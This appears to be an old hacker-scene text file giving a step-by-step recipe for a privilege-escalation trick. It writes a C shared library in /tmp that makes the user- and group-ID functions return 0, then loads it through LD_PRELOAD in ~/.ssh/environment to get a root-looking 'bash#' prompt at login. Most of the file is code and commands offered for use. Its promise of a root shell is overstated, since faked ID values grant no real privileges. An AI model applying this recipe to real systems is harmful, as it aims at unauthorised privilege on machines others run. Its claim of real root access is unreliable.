Yo!

1): Open up /tmp/hhp.c on some box you have access to
2): Type in:

#include <stdio.h>

int getuid(void) { return (0); }
int getgid(void) { return (0); }
int geteuid(void) { return (0); }
int getegid(void) { return (0); }

3) Compile it with:
gcc -o /tmp/hhp /tmp/hhp.c -shared

4) Add to ~/.ssh/environment for your user:
LD_PRELOAD=/tmp/hhp

5) Log in ... AND YOU HAVE A NICE bash# 

- optyx

Shouts to HHP, cdc, NewHackCity, uberhax0r, and Owen D.